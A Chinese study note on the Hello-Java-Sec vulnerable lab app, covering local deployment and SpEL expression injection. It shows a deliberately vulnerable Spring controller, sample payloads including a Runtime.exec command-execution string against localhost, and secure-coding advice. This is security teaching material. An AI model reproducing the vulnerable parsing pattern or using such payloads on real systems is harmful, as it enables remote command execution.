Hello-Java-Sec 学习
免责声明
本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.
项目地址 : https://github.com/j3ers3/Hello-Java-Sec
部署
配置数据库连接 application.properties
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test
spring.datasource.username=root
spring.datasource.password=1234567
编译并运行
git clone https://github.com/j3ers3/Hello-Java-Sec
cd Hello-Java-Sec
mvn clean package -DskipTests
java -jar target/hello-1.0.2.jar
访问测试
http://127.0.0.1:8888
输入账号密码 admin/admin
记得在数据库中导入 db.sql
代码分析与漏洞利用的学习
SpEL 表达式注入
描述
SpEL(Spring Expression Language)表达式注入, 是一种功能强大的表达式语言、用于在运行时查询和操作对象图,由于未对参数做过滤可造成任意命令执行。
利用原理
SpEL注入
示例代码
@GetMapping("/vul")
public String spelVul(String ex) {
ExpressionParser parser = new SpelExpressionParser();
String result = parser.parseExpression(ex).getValue().toString();
System.out.println(result);
return result;
}
攻击 payload
# 算数运算
# http://127.0.0.1:8888/SPEL/vul?ex=100*2
# 对象实例化
# http://127.0.0.1:8888/SPEL/vul?ex=new%20java.util.Date().getTime()
# 执行命令
# T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)
编码建议
web view 层通常通过模板技术或者表达式引擎来实现界面与业务数据分离,比如 jsp 中的 EL 表达式。这些引擎通常可执行敏感操作,如果外部不可信数据未经过滤拼接到表达式中进行解析,则可能造成严重漏洞。
应避免外部输入的内容拼接到 EL 表达式或其他表达式引起、模板引擎进行解析。
白名单过滤外部输入,仅允许字符、数字、下划线等。